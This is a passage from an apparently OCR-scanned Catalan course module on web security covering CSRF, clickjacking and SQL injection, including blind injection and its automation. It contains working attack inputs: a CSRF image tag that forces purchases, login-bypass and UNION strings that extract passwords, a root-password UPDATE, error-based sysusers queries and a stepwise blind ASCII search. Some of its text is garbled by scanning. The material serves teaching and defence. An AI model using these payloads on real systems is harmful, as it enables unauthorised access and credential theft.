o compres d'objectes. Al seu torn, entra a la xarxa social de moda, www.lloc002.com,
on té les seves fotos personals, i s'intercanvia missatges amb els seus amics. No obstant
aixo, resulta que en www.lloc002.com té una fallada d'XSS permanent i un atacant ho
utilitzara per a generar un atac CSRE

Quan entrem en un lloc determinat ens associen una galeta de sessié que ens
autentica inicament enfront del servidor. Aixo evita haver d'introduir les nos-
tres credencials a cada pagina que visitem. No obstant aixo, no podem contro-
lar quan s'envien aquestes galetes. Si el nostre navegador té emmagatzemada
una galeta associada a un domini l'enviara en cada petici6 feta a aquest domi-
ni, fins i tot si aquesta no es fa voluntariament.

/>
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Aquest és el concepte en el qual es basa la tecnica de CSRE. Anem a obligar un
usuari que faci accions no desitjades sobre un domini des d'un altre. Imaginem
que el lloc001.com, que -recordem- permetia transaccions economiques, uti-
litza diverses URL com la segiient per a la compra d'objectes amb la targeta de
credit emmagatzemada:

http://www.1lloc001l.com/comprar.asp?idObjecte=31173&confirm=yes

Si un usuari malintencionat aconseguis que un usuari autenticat a la pagina
anterior fes clic sobre I'enllag, obtindria com a resultat la compra de 1'objecte
en questio. Aix0 és, podria enganyar a la gent per a comprar objectes que ell
posés a la venda per un preu desorbitat.

No obstant aix0, un usuari avesat no faria clic sobre un enlla¢ desconegut i
rebut per una persona en la qual no confia. Aqui és on entra en joc la técnica
de CSRE que permet a un atacant "simular" clics veridics sobre una aplicacio
usant les credencials (galeta de sessi6) d'un usuari. Aquesta accid, mitjancant
XSS, és senzilla.

Com ja s'ha posat de manifest multiples vegades al llarg d'aquest modul, és
necessari coneixer molt a fons el funcionament dels navegadors. En aquest cas
anem a fer Gs d'una condici6 que tots els navegadors comparteixen, ja que no

farem Gs de codi Javascript, sin6 que utilitzarem codi HTML.

Els navegadors web, en trobar-se una etiqueta <img>, segueixen l'adreca del
recurs especificat en el parametre src. Aixo implica una connexi6 per a intentar
descarregar la imatge, i aix0 es pot fer entre dominis. Si la imatge no es troba
disponible, o la resposta que es rep des del servidor no és interpretable com a
imatge, es mostrara la icona d'imatge trencada.

Un atacant pot aprofitar aquesta caracteristica dels navegadors per a obligar
els usuaris afectats a fer accions que no volen fer. Crear una imatge que apunti
a l'adreca URL indicada anteriorment generaria una petici6 per part de tots
els navegadors que visitessin la pagina que conté el codi HTML, i que, com
veiem, intentaria comprar un objecte en el domini www.llocOO1.com. El co-
di HTML segiient s'hauria d'introduir, per exemple, en un comentari del lloc

www.lloc002.com.

<img src="http://www.lloc001l.com/comprar.asp?idObjecte=31173&confirm=yes" />

Com es pot observar, la tecnica és tan simple com efectiva. Es pot fer Gs de Ja-
vascript perque l'atac sigui molt més discret. Les imatges disposen d'un esdeve-
niment onerror que es llanc¢a en no poder carregar la imatge. Aixo és semblant
a l'atribut alt que es mostra quan un navegador no suporta imatges. Usant
aquest esdeveniment i modificant el recurs referenciat en src podem carregar

una imatge existent després de fer la modificaci6 maliciosa mitjancant CSRE.
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<img src="http://www.lloc00l.com/comprar.asp?idObjecte=31173&confirm=yes"

onerror="this.src='logo.jpg';this.onerror=null;"/>

Igualment seria possible desencadenar un atac de manera més discreta usant
CSS (cascading style sheets, fulls d'estil per a pagines web) per a evitar que la
imatge trencada que es genera es mostri a l'usuari.

L'atac descrit anteriorment s'ha pogut dur a terme gracies al fet que la pagina de
llocO01.com accepta peticions GET, aquelles en que els parametres es remeten
en I'URL, en lloc de requerir POST per als enviaments d'informacié. Una peticio
GET sempre sera més facil de manipular que una peticié POST. Aix0 és aixi
perque per a generar una peticié POST hem d'escriure codi Javascript, el qual
pot entrar en conflicte amb possibles filtres anti-XSS que hi hagi en 'aplicacio.

No obstant aixo, i encara que establissim com a requisit indispensable que les
peticions es fessin mitjancant POST, aix0 no ens garantiria la seguretat de la

nostra pagina ni dels nostres clients.

Per a millorar la seguretat enfront d'un possible atac podem fer s de les cap¢a-
leres Referer. Aquestes indiquen la pagina des de la qual s'ha arribat a una altra.
S'utilitzen, per exemple, per a conéixer quines sén les cerques que permeten
a un usuari arribar a un lloc web des d'un cercador. Una mesura de proteccio,
encara que pot ser saltada, seria comprovar que les peticions enviades a les
nostres pagines, o almenys a aquelles que impliquin accions sensibles, es facin
des del nostre propi domini.

L'nica protecci6 real enfront d'atacs de CSRF és establir una serie de valors
numerics que es generin de manera Gnica en cada peticié. Aquests valors po-
den ser establerts com un CAPTCHA que l'usuari ha d'introduir en fer accions
critiques o com un valor ocult, en un camp hidden, dins del codi de la pagina
que comprovem quan l'usuari ens retorna la peticié. Aquestes mesures, enca-
ra que tedioses de programar, ens permeten assegurar les dades dels nostres

usuaris.

Com a usuaris d'aplicacions possiblement vulnerables a CSRF podem adoptar
una serie de precaucions que intentin evitar un atac mitjancant aquesta tec-

nica. Les mesures sén:
e Tancar la sessi6 immediatament després de 1'as d'una aplicacio.
¢ No permetre que el navegador emmagatzemi les credencials de cap pagina,

ni que cap servidor mantingui la nostra sessi6 recordada més que durant

el temps d'as.
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e Utilitzar navegadors diferents per a les aplicacions d'oci i les critiques. Amb
aixo ens assegurem la independéncia de les galetes de sessio entre nave-
gadors.

1.3. Clickjacking

Les técniques de clickjacking sobn una amenaca recent per als navegadors i els
seus usuaris. Aquestes es basen a enganyar els usuaris perque facin clic so-
bre elements d'un lloc web on ells mai no ho farien voluntariament. Aixo
s'aconsegueix superposant dues pagines. Una, la principal, amb la pagina on
volem que realment els usuaris facin clic en zones especifiques, com, per exem-
ple, un banc per a fer una transferencia. Una altra, la que serveix de parany,
superposada sobre l'anterior i amb continguts que serveixin d'al-licient perque
l'usuari faci els clics a les zones desitjades, per exemple, un petit joc en que

hem de fer clic en determinades zones.

Aquesta tecnica es basa en 1'as d'iframes superposats. Els iframes s6n elements
HTML que permeten la inclusié d'un recurs extern dins de la nostra pagina.
Encara que contenen una serie de limitacions a 1'hora d'accedir-hi mitjangant

Javascript, es poden usar per a enganyar l'usuari.

El primer pas és generar una pagina amb I'URL que es vol segrestar, que sera
la base sobre la qual col-locarem la resta d'elements que ens caldran per a dur
a terme aquesta tecnica.

3 [0] Aduie - 1l Playws ; Settings Manager - Godal Security Settings pasel - Mecitia Tiwies (7] 1€ B

a M|
g
e
Global Security Settings panel
LALE o Commmmty Mbte 1N0eA PMiaom ~ YeMungs Manapes o

U B ]

<

[ - XX o SO0Q

Pagina per segrestar

El pas segiient és col-locar un iframe amb el seu vertex superior esquerre exac-
tament en el lloc on volem que l'usuari enganyat faci el clic. Aixo es fa aixi
per a assegurar, independentment del navegador, que el clic s'executi sense

problemes.
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Iframe sobre el lloc original

Finalment, s'haura d'efectuar una col-locacié i distribucié dels elements a la
pagina que efectua I'engany. En aquest sentit, és recomanable crear algun tipus
d'incentiu perque l'usuari es vegi interessat a fer el clic que es persegueix, a fi
de capturar-ne la pulsaci6 i transmetre-la a la pagina original.

(4] Adoda - 1l Playes : Settings Manages - Gl
b UK fee ey (edeets  Dek %

-
Sorn mae com g I
e
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e ) 50 G

- O® B U v OO C

Col-locacié6 de I'iframe per a enganyar I'usuari

Aquesta tecnica va ser implementada i presentada per primera vegada per
Jeremiah Grossman i Robert Hansen. Tots dos investigadors van proposar
I'exemple presentat en les imatges anteriors com a metode perquée un usuari
activés una serie de caracteristiques no desitjades del seu reproductor Flash. Ai-


http://www.sectheory.com/clickjacking.htm
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X0 es va aconseguir per mitja d'una aplicaci6 Flash situada a la pagina d'Adobe
per a la configuracié de seguretat del connector, com es pot observar en la
imatge seglient:

) [#] Adobe - Flash Player : Settings Manager - Global Security Settings panel - Mozilla Firefox [#] Q@@
File Edit View History Bookmarks Tools Help

A
Search Adobe.com... ﬂ '\‘ i

Adobe

Your account = Contact United States (Change)

Home Solutions Products Support Communities Company Downloads Store

Flash Player Help

Global Security Settings panel

TABLE OF CONTENTS Adobe Flash Player ™ Settings Manager Q

) ) -~ i

Flash Player Help & é "' @J e | D

Global Security Settings

- . . Some websites may access information from other sites using an older
Global Privacy Settings Panel system of security. This is usually harmless, but it is possible that some

- i sites could obtain unauthorized information using the older system.VWhen a
Global Storage Seftings Panel wehsite attempts to use the older system to access information:

= Glohal Security Settings Panel

Settings Manager

® 3 Always ask O © Always allow O @ Always deny

= Glohal Notifications Settings Panel

= Website Privacy Settings Panel

= Webhsite Storage Settings Panel Always trust files in these locations: Edit locations... v

Display Settings

Local Storage Settings

Microphone Settings v
< >
Done Q& @ £ LocaRodes S)@ B C

Configuracié de seguretat del Flash Player

Aquesta vulnerabilitat implica la necessitat de proteccio per part dels navega-
dors, ja que aquesta técnica utilitzara de nou el navegador de l'usuari per a
interactuar amb el servidor. Es per aixo que alguns navegadors aporten direc-
tament proteccions contra aquesta tecnica.
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2. Atacs d'injeccio de codi

Les injeccions de codi sén comunes actualment a Internet. Permetre que un
usuari introdueixi qualsevol parametre en la nostra aplicacié pot donar lloc a
l'accés a informaci6 privilegiada per part d'un atacant.

La injecci6 de codis és una teécnica d'atac a aplicacions web en queé 1'objectiu
principal és aprofitar connexions a bases de dades des d'aplicacions web no
segures per a permetre a un atacant l'execucio6 d'ordres directament en la base
de dades.

2.1. Injeccié SQL

Mitjancant la injeccié SQL un atacant podria fer, entre altres coses, les accions

segilients contra el sistema:

e Descobriment d'informacié (information disclosure). Les teécniques
d'injeccié SQL poden permetre a un atacant modificar consultes per a ac-
cedir a registres o objectes de la base de dades als quals inicialment no

tenia accés.

e Elevaci6 de privilegis. Tots els sistemes d'autenticacié que utilitzin creden-
cials emmagatzemats en motors de bases de dades fan que una vulnerabi-
litat d'injeccié SQL pugui permetre a un atacant accedir als identificadors

d'usuaris més privilegiats i canviar-se les credencials.

e Denegaci6 de servei. La modificacié d'ordres SQL pot portar a l'execuci6
d'accions destructives, com esborrar dades i objectes o aturar serveis amb
ordres de parada i arrencada dels sistemes. Aixi mateix, es poden injectar
ordres que generin un alt comput en el motor de base de dades que faci
que el servei no respongui en temps til als usuaris legals.

e Suplantaci6 d'usuaris. En poder accedir al sistema de credencials, és possi-
ble que un atacant obtingui les credencials d'un altre usuari i faci accions
amb la identitat robada o falsejada a un altre usuari.

2.1.1. Entorn d'explotacio de l'atac

En aquest apartat es mostren els condicionants necessaris perqué en una apli-

caci6 web es pugui donar la vulnerabilitat d'injeccié d'ordres SQL:

e Fallada en la comprovacié de parametres d'entrada. Es considera parametre

d'entrada qualsevol valor que provingui des del client. En aquest entorn
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s'ha d'assumir "un atac intel-ligent", per la qual cosa qualsevol d'aquests
parametres poden ser enviats amb "malicia". Per aix0 s'ha d'assumir també
que qualsevol mesura de proteccié implantada en el client pot fallar.

Exemple

Com a exemples de parametres en que se solen donar aquestes fallades tindriem:
e Camps de formularis: utilitzats en metodes de crides POST

e Camps de crida GET passats per variables.

e Parametres de crides a funcions Javascript.

e Valors en capgaleres HTTP

e Dades emmagatzemades en galetes

e Utilitzacié de parametres en la construccié de crides a bases de dades: el
problema no es troba en la utilitzacié dels parametres en les senténcies
SQL sino6 en la utilitzacié de parametres que no han estat comprovats cor-
rectament.

e Construccié no fiable de senténcies. Hi ha diverses maneres de crear una
senténcia SQL dinamica dins d'una aplicacié6 web que depenen del llen-
guatge utilitzat. El problema es genera amb la utilitzaci6é d'una estructura
de construccié de senténcies SQL basada en la concatenacié de cadenes
de caracters, és a dir, el programador pren la senténcia com una cadena
alfanumeérica a la qual va concatenant el valor dels parametres recollits,
la qual cosa implica que tant les ordres com els parametres tinguin el ma-
teix nivell dins de la cadena. Quan s'acaba de construir 'ordre no es pot
diferenciar quina part ha estat introduida pel programador i quina part és
procedent dels parametres.

Exemple 1. Fallada en la comprovacioé de parametres d'entrada

Taula_Usuaris

IDUsuari Usuari Clau Nom NivellAcces
0 Root RE$%-& Administrador Administrador
1 Ramon ASFer3454 Ramon Martinez Usuari
2 Carles Sdfgre32! Carles Lucas Usuari

Taula d'usuaris d'exemple

Sobre aquesta base de dades es crea una aplicacié web que demana als usuaris

les credencials d'accés mitjancant un formulari:
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Usuario | |

Clave | Fkkk kAR kk | Entrar

Formulari d'accés a usuaris d'exemple

En aquest entorn suposem que es recullen les dades i es construeix dins de la
nostra aplicaci6 web una consulta SQL que sera llancada a la base de dades
de l'estil segiient:

SqlQuery="Select IDUsuari from Taula Usuaris where Usuari='" || Usuari$

||™" AND Clau='" || Clau$ |[| "';"

En qué Usuari$ i Claus son els valors recollits en els camps del formulari.

L'atac d'injecci6é SQL en aquest entorn consistiria a formar una consulta SQL

que permetés un accés sense credencials.

Atac 1. Accés amb el primer usuari

Usuari$=Qualsevol

Clau$= ' or '1'="1

La consulta SQL que es formaria seria la segiient:

"Select IDUsuari from Taula Usuaris where Usuari='Qualsevol' and Clau='"' or

1=, m

Aquesta consulta permetria I'accés al sistema amb el primer usuari que estigui
donat d'alta en la Taula_Usuaris

Atac 2. Accés amb un usuari seleccionat

Usuari$=Qualsevol

Clau$= ' or Usuari='Matias

La consulta SQL que es formaria seria la segiient:

"Select IDUsuari from Taula Usuaris where Usuari='Qualsevol' and Clau='' or

Usuari='Matias';"

Amb aix0 només la fila de l'usuari Matias compliria aquest entorn.
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Exemple 2. Entorn d'extraccio d'informacioé de la base de dades
mitjancant la modificacié d'una consulta SQL

Taula_Examens

ID Data Assignatura Convocatoria Aula
0 21/02/2007 Arquitectures avancades Febrer 1
1 22/02/2007 Seguretat informatica Febrer 2
2 17/06/2007 Compiladors Juny 2
3 01/09/2007 Arquitectures avancades Setembre 1

Taula d'examens d'exemple

Sobre aquesta taula l'aplicacié mostra els examens mitjancant un parametre
que selecciona la convocatoria i s'accedeix a la informacio en la base de dades
amb una consulta SQL construida de la manera segiient:

SglQuery= "Select Data, Assignatura, Aula from Taula Examens

where Convocatoria='" || Convocatoria$ || ;

http://www.miservidor.com/muestra_examenes.cod?convoctoria=Febrero

Fecha Asignatura Aula
21/02/2007 Arquitecturas Avanzadas 1
22/02/2007 Seguridad Informatica 3

Resultats sense injeccié SQL d'exemple

L'atac d'injecci6é SQL en aquest entorn consistiria a formar una consulta SQL

que permetés extreure o modificar informacio en la base de dades.

Atac 1. Accés a informacid privilegiada

L'atacant modificaria el valor del parametre convocatoria fent una consulta per
accedir als usuaris i contrasenyes del sistema.

http://www.elmeuservidor.com/mostra_ examens.cod?convocatoria=Febrer’

union select Usuari, Clau, 99 from Taula Usuaris where 'l'='l

Amb aixo0 es formaria una consulta SQL de la manera segiient:

Select Data, Assignatura, Aula from Taula Examens where Convocatoria=' Febrer'
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union select Usuari, Clau, 99 from Taula Usuaris where '1'='1l"';

I s'obtindrien els resultats segiients:

Fecha Asignatura Aula
21/02/2007 Arquitecturas Avanzadas 1
22/02/2007 Seguridad Informatica 3
Root Re$%& 99
Ramon ASFer3454 99
Carlos Sdfgre32! 99

Resultats amb injeccié SQL d'exemple

Atac 2. Modificacio6 de la informacid de la base de dades

Aquest atac es pot fer:

e Siel compte de la base de dades utilitzada en la connexi6 des de 'aplicaci
té privilegis per a fer operacions de manipulacié de dades o de creaci6

d'objecte.

e Si el motor de la base de dades suporta execucié multiple de senténcies

SQL.

L'atacant modificaria el valor del parametre convocatoria fent una consulta per

canviar la clau de l'usuari root:

http://www.elmeuservidor.com/mostra examens.cod?convocatoria=Febrer'; Update

clau:="nova' from taula Usuaris where usuari='root

Amb aixo0 es formaria una consulta SQL de la manera segiient:

Select Data, Assignatura, Aula from Taula Examens where Convocatoria='

Febrer'; Update clau:='nova' from taula Usuaris where usuari='root';

I s'establiria una nova contrasenya a l'usuari root. Aix0 pot arribar a afectar la
prestacio del servei o a les dades que es manegen, ja que es pot inserir infor-
macio falsa o parar el motor de la base de dades.

Exemple 3. Extraccié d'informacié mitjancant missatges d'error

En aquest entorn suposem que ens trobem amb una aplicacié que maneja
informaci6 extreta d'una taula en la base de dades perd que mai no es mostra,
amb la qual cosa l'atacant no podra veure impreses les dades que seleccioni
amb la manipulacié de la consulta SQL.
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Taula_Imatges

1D Nom Arxiu

1 Logotip 1 Logo1.jpg
2 Logotip 1 gran Logol1g.jpg
3 Logotip apaisat Logo2.jpg

Taula d'imatges d'exemple

Sobre aquesta taula, 1'aplicaci6 mostra, dins de la pagina, 'arxiu seleccionat

mitjancant un parametre que selecciona I'ID de l'arxiu amb una consulta SQL

construida de la manera segiient:

SqlQuery="Select * from Taula Imatges where id="'"

‘ http://www.miservidor.com/muestra_imagen.cod?id=1 ‘

Informatlca 64

2% www.informatica64.com [T

Resultat sense injeccié SQL amb imatges d'exemple

Atac. Genera un missatge d'error que li permeti veure dades de la base de

dades.

Per a aixo0, es buscaria formar algun dels errors segiients:

¢ Errors matematics. Permeten extreure informacié mitjancant el desbor-
dament dels limits dels formats numerics. Per a aixo es converteix la dada
buscada a un valor matematic i s'opera per a aconseguir el desbordament.
En el missatge d'error s'obtindra el resultat del desbordament que ens per-

metra saber la dada buscada.

e Errors de format. Consisteixen en la utilitzacio implicita d'un valor d'un
tipus de dada amb un altre de diferent. Aix0 generara un error en intentar
el motor de base de dades fer una conversio i no poder fer-la.

e Errors de construccié de la senténcia SQL. Permeten trobar els noms

dels objectes en la base de dades. Serveixen per a esbrinar noms de taules

o els camps.
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En aquest atac en concret anem a forcar un error de format mitjancant la
modificaci6 del parametre id de la manera seglient:

http://www.elmeuservidor.com/mostra imatge.cod?id=1 union select Usuari from

Taula Usuaris where IDUsuari=0

El resultat que s'obtindra és:

Error de la BBDD No se ha podido convertir el valor ‘root” a
valor numeérico.

Missatge d'error d'exemple

Modificant la consulta es pot extreure la clau o qualsevol altra informaci6 de
la base de dades.

Priamos

En I'any 2001, David Litchfield presentava en les conferéncies de BlackHat
un document titulat Web Application Disassembly with ODBC Error Messages,
en el qual s'explicava com es podia treure informaci6 sobre la base de dades
d'una aplicaci6 web a partir dels missatges d'error ODBC no controlats pel
programador.

En aquests primers documents 1'extraccié d'informacio es feia utilitzant la vi-
sualitzaci6 dels missatges d'error dels connectors ODBC; encara quedava un
any perque sortissin a la llum publica les tecniques blind.

Per a aix0, l'objectiu és generar una injeccié que provoqui un error i llegir en

el missatge d'error dades amb informacio sensible.

Programa.asp?id=218 and l=(select top 1 name from sysusers order by 1 desc)

L'atribut name de la taula sysusers en SQL Server és alfanumeéric i en fer la
comparacié amb un valor numéric es generara un error. Si el programador
no té controlats aquests errors ens arribara a la pantalla un missatge com el

segient:

Microsoft OLE DB Provider for SQL Server error '80040i07'
Conversion failed when converting the nvarchar value 'sys' to data type int.

/Programa.asp, line 8

I s'obté el primer valor buscat. Després es torna a injectar pero ara es canvia la
consulta de la manera segiient, o similar:
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Programa.asp?id=218 and l=(select top 1 name from sysusers where name<'sys' order by 1 desc)
I s'obté:
Microsoft OLE DB Provider for SQL Server error '80040i07'

Conversion failed when converting the nvarchar value 'public' to data type int.

/Programa.asp, line 8

Iteraci6 segilient:

Programa.asp?id=218 and l=(select top 1 name from sysusers where name<'public'

order by 1 desc)

I s'automatitza l'extracci6 de tota la informaci6 de la base de dades. Per a aixo
hi ha eines que analitzen aquests missatges d'error i ho automatitzen de ma-
nera eficient. El Priamos és una d'aquestes eines.

& Priamos . PP - W o ol 3
File Help
Address _http://1 XXX.com/X asp?id_articulo=218 Start | @ Search  Max List Count
Proxy Config | IP Address Port
Get Databases (7] Get Tables (=] Get Columns (7 Get Data §£) Export to Excel
Injector | Search Injection
Parameters | Logs
| query Sting
li_sticuo e ——
Database Schema Data
=] 1%&0942_45057 B name category_type category_id category_class <
[T tempdb G (Lcatesorized)
Incategoriz
[y model U ed] 3 %8 2
= msdb Replication 3 20 2
] b
i %g x‘c" ;e;‘:::’s = REPL-QueueReader 1 19 1 3
[C)E) name REPL-Alett Response 1 18 1
{C1E] category_type REPL-Subscription Cleanup 1 17 1
{03 category_id
) category_class REPLCheckup 1 16 1 P
1] suspect_pages -Snapshot
{713 suspect REPL-Snapsh 1 15 1
{713 restorehistory
REPL-M 1 14 1
5] restorefilegroup ee
: " ~LogReader
1 restorefie REPL-LogRead! 1 13 1
(T3] mswebtasks REPL-History Cleanup 1 12 1
=L
logmarkhistory REPL Distrbution Cleanup 1 11 1
B v
= 2 REP! -Distrbution 1 10 1 Z
Datas [Received]

El Priamos en funcionament

2.1.2. Injeccid SQL a cegues

Una de les maneres de fer aquests atacs es basa en atacs a cegues, és a dir,
a aconseguir que les ordres s'executin sense la possibilitat de veure cap dels
resultats. La inhabilitaci6é de la mostra dels resultats de 1'atac es produeix pel
tractament total dels codis d'error i la impossibilitat de modificar, a priori, cap
informaci6 de la base de dades. Llavors, si no es pot alterar el contingut de la
base de dades ni veure el resultat de cap dada extreta del magatzem, es pot dir

que l'atacant mai no aconseguira accedir a la informaci6?

La resposta correcta a aquesta pregunta, evidentment, és no. A pesar que un
atacant no pugui veure les dades extretes directament de la base de dades si

que és més que probable que, en canviar les dades que s'estan enviant com a
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parametres, es puguin fer inferéncies sobre aquestes en funci6 dels canvis que
s'obtenen. L'objectiu de l'atacant és detectar aquests canvis per poder inferir
quina ha estat la informacio6 extreta en funcié dels resultats.

La manera més facil per a un atacant d'automatitzar aquesta teécnica és usar
un vector d'atac basat en logica binaria, és a dir, en true i false.

El parametre vulnerable

L'atacant ha de trobar, en primer lloc, una part del codi de I'aplicacié que no
estigui fent una comprovacio correcta dels parametres d'entrada a 1'aplicacio
que s'estan utilitzant per a compondre les consultes a la base de dades. Fins
a aqui, el funcionament és similar a la resta de tecniques basades en injeccio
d'ordres SQL. Trobar aquests parametres és de vegades més complex ja que,
des d'un punt de vista hacker de caixa negra, mai no és possible garantir que
un parametre no sigui vulnerable ja que, tant si ho és com si no ho és, pot ser
que mai no s'aprecii cap canvi en els resultats aparents.

Fem una definici6, definim el concepte d"injeccié SQL de canvi de comporta-
ment zero" (ISQLO) com una cadena que s'injecta en una consulta SQL i no fa
cap canvi en els resultats, i definim "injecci6 SQL de canvi de comportament
positiu" (ISQL+) com una cadena que si que provoca canvis.

Vegem-ne uns exemples i suposem una pagina d'una aplicaci6é web del tipus:

http://www.lamevaweb.com/noticia.php?id=1

Fem la suposici6 inicial que 1 és el valor del parametre id i aquest parametre
sera utilitzat en una consulta a la base de dades de la manera segiient:

Select camps From taules Where condicions and id=1
Una injecci6 ISQLO seria una cosa com el segtient:

http://www.lamevaweb.com/noticia.php?id=1+1000-1000

http://www.lamevaweb.com/noticia.php?id=1 and 1=1

http://www.lamevaweb.com/noticia.php?id=1 or 1=2

En cap dels tres casos anteriors no estem fent cap canvi en els resultats obtin-
guts en la consulta. Aparentment, no.

Per contra, una ISQL+ seria una cosa com el segiient
http://www.lamevaweb.com/noticia.php?id=1 and 1=2

http://www.lamevaweb.com/noticia.php?id=-1 or 1=1

http://www.lamevaweb.com/noticia.php?id=1+1
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En els tres casos anteriors estem canviant els resultats que ha d'obtenir la con-
sulta. Si en processar la pagina amb el valor sense injectar i amb ISQLO ens
retorna la mateixa pagina es podra inferir que el parametre esta executant les
ordres, és a dir, que es poden injectar ordres SQL. Ara bé, quan posem una
ISQL+ ens déna sempre una pagina d'error que no ens permet veure cap dada.
Doncs bé, aquest és l'entorn perfecte per a fer 'extraccié d'informacié d'una
base de dades amb una aplicaci6 vulnerable a la injeccié LDAP a cegues.

Com s'ataquen aquestes vulnerabilitats?

En tenir una pagina de true i una altra pagina de false se'n pot crear tota la

logica binaria.

En els exemples anteriors, suposem que quan posem com a valor 1 en el pa-
rametre id ens déna una noticia amb el titular "Ratl convertit en mite del
madridisme", per posar un exemple, i que quan posem I and 1=2 ens déna
una pagina amb el missatge Error. A partir d'aquest moment es fan injeccions
d'ordres i se'n mira el resultat.

Suposem que volem saber si hi ha una determinada taula en la base de dades:

Id= 1 and exists (select * from usuaris)

Si el resultat obtingut €s la noticia amb el titular de Raul, llavors podrem inferir
que la taula si que existeix, mentre que si obtenim la pagina d'error sabrem
que, o bé no existeix, o bé 1'usuari no hi té accés, o bé no hem escrit la injec-
ci6 correcta SQL per al motor de base de dades que s'esta utilitzant. (Hem de
recordeu que SQL, malgrat ser un "estandard", no té les mateixes implemen-
tacions en els mateixos motors de bases de dades.)

Un altre possible motiu de fallada pot ser simplement que el programador tin-
gui el parametre entre parentesis i calgui jugar amb les injeccions; per exem-
ple, suposem que hi ha un parametre darrere del valor d'id en la consulta que
fa l'aplicaci6. En aquest cas caldria injectar una cosa com:

Id= 1) and (exists (select * from usuaris)

Suposem que volem treure el nom de l'usuari administrador d'una base de
dades MySQL:

Id= 1 and 300>ASCII (substring(user(),1,1))
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Amb aquesta injeccié obtindrem que el valor ASCII de la primera lletra del
nom de l'usuari sigui menor que 300 i, per tant, podrem dir que aquesta és una
ISQLO. Logicament, haurem d'obtenir el valor cert rebent la noticia de Radal.
Després, aniriem fitant el valor ASCII amb una cerca dicotomica en funcio de
si les injeccions s6n ISQLO o ISQL+.

Id= 1 and 100>ASCII (substring(user(),1,1)) -> ISQL+ -> Fals
Id= 1 and 120>ASCII (substring(user(),1,1)) -> ISQLO -> Veritable
Id= 1 and 110>ASCII (substring(user(),1,1)) -> ISQL+ -> Fals
Id= 1 and 115>ASCII (substring(user(),1,1)) -> ISQLO -> Veritable
Id= 1 and 114>ASCII (substring(user(),1,1)) -> ISQL+ -> Fals

Llavors podriem dir que el valor del primer caracter ASCII del nom de l'usuari
ésel 114.

Un cop d'ull a la taula ASCII i obtenim la lletra r, probablement de root, pero
per a aixo hauriem de treure el segon valor, de manera que injectem el valor

segient:

Id= 1 and 300>ASCII (substring(user(),2,1)) -> ISQLO -> Veritable

I tornem a fer la cerca dicotomica. Fins a quina longitud? Doncs esbrinem-ho

injectant:

Id= 1 and 10>length(user()) ISQLO o ISQL+?

Totes aquestes injeccions, com s'ha dit en un paragraf anterior, s'han d'ajustar
ala consulta de l'aplicacio; tal vegada seran necessaris parentesis, cometes si els
valors s6n alfanumeérics, seqliencies d'escapament si hi ha filtratge de cometes,
o caracters terminals d'inici de comentaris per a invalidar parts finals de la
consulta que llanca el programador.

Automatitzacio

A partir d'aquesta teoria, en les conferéncies de BlackHat USA de 2004, Came-
ron Hotchkies va presentar un treball titulat "Blind SQL Injection Automati-
on Techniques" en el qual proposava metodes d'automatitzar 1'explotacié d'un
parametre vulnerable a tecniques d'injeccié SQL a cegues mitjancant eines. Per
a aix0 no parteix d'assumir que tots els errors puguin ser processats i sempre
s'obtingui un missatge d'error, ja que és possible que 'aplicaci6 tingui un mal
funcionament i simplement hi hagi canvis en els resultats. En la seva proposta
ofereix un estudi sobre com cal fer injeccions de codi SQL i estudiar les res-
postes davant ISQLO i ISQL+.
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Proposa utilitzar diferents analitzadors de resultats positius i falsos en la injec-
ci6 de codi per a poder automatitzar una eina. L'objectiu és introduir ISQLO
i ISQL+ i comprovar si els resultats obtinguts es poden diferenciar de manera
automatica o no i com cal fer-ho.

e Cerca de paraules clau. Aquest tipus d'automatitzacio seria possible sempre
que els resultats positius i negatius fossin constantment els mateixos. Es a
dir, sempre el mateix resultat positiu i sempre el mateix resultat negatiu.
Llavors n'hi hauria prou de seleccionar una paraula clau que aparegués en
el conjunt de resultats positius o en el conjunt de resultats negatius. Es
llancaria la peticié amb la injecci6 de codi i s'examinarien els resultats fins
a obtenir la paraula clau. Es dels més rapids a implementar, perd exigeix
certa interaccio de l'usuari que ha de seleccionar correctament la paraula
clau en els resultats positius o negatius.

e Basats en signatures MDS5. Aquest tipus d'automatitzacio seria valid per
a aplicacions en les quals hi hagués una resposta positiva consistent, és
a dir, que sempre s'obtingués la mateixa resposta davant el mateix valor
correcte (amb injeccions de codi de canvi de comportament zero) i, si hi ha
resposta negativa (davant injeccions de canvi de comportament positiu),
que s'obtingués qualsevol resultat diferent de 1'anterior, com, per exemple,
una altra pagina de resultats, una pagina d'error genéric, la mateixa pagina
de resultats perd amb errors de processament, etc. L'automatitzaci6 d'eines

basades en aquesta técnica és senzilla:

Es fa el resum MDS de la pagina de resultats positius amb injeccié de
codi de canvi de comportament zero. Per exemple, and 1=1.

— Es torna a repetir el procés amb una nova injeccié de codi de canvi de
comportament zero. Per exemple, and 2=2.

— Es comparen els resums obtinguts en els passos a i b per a comprovar
que la resposta positiva és consistent.

— Esfa el resum MDS5 de la pagina de resultats negatius amb injecci6 de
codi de canvi de comportament positiu. Per exemple, and 1=2.

— Es comprova que els resultats dels resums MDS5 dels resultats positius

i negatius son diferents.

— Si es compleix, llavors es pot automatitzar l'extraccié d'informacio per

mitja de resums MDS.

— Excepcions. Aquesta técnica d'automatitzacié no seria valida per a
aplicacions que canvien constantment l'estructura de resultats, com
per exemple aquelles que tinguin publicitat dinamica, ni aquelles

que davant un error en el processament retornin el control a la pa-
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gina actual. No obstant aix0, continua essent 'opcié més rapida en
l'automatitzacié d'eines d'injeccié SQL a cegues.

e Motor de diferéncia textual. En aquest cas s'utilitzaria com a element de
decisio entre un valor positiu i un de fals la diferéncia en paraules textuals.
La idea és obtenir el conjunt de paraules de la pagina de resultats positius
ila pagina de resultats negatius. Després es fa una injeccié de codi amb un
valor concret i s'obté un resultat de paraules. Fent un calcul de distancies es
veuria de quin difereix menys per a saber si el resultat és positiu o negatiu.
Aixo és util quan el conjunt de valors injectats sempre té un resultat visible

en el conjunt de resultats tant en el valor positiu com en el valor negatiu.

e Basats en arbres HTML. Una altra possibilitat a I'hora d'analitzar si el resul-
tat obtingut és positiu o negatiu seria utilitzar 1'arbre HTML de la pagina.
Aix0 funcionaria en entorns en els quals la pagina de resultats correctes
i la pagina de resultats falsos fossin sempre diferents, és a dir, si la pagi-
na correcta tingués parts dinamiques canviants davant el mateix valor i
la pagina d'errors també. En aquests casos es pot analitzar l'estructura de
l'arbre d'etiquetes HTML de les pagines i comparar-les.

e Representacio lineal de sumes ASCII. La idea d'aquesta técnica és obtenir
un valor resum del conjunt de resultats sobre la base dels valors ASCII dels
caracters que conformen la resposta. Es treu el valor del resultat positiu i el
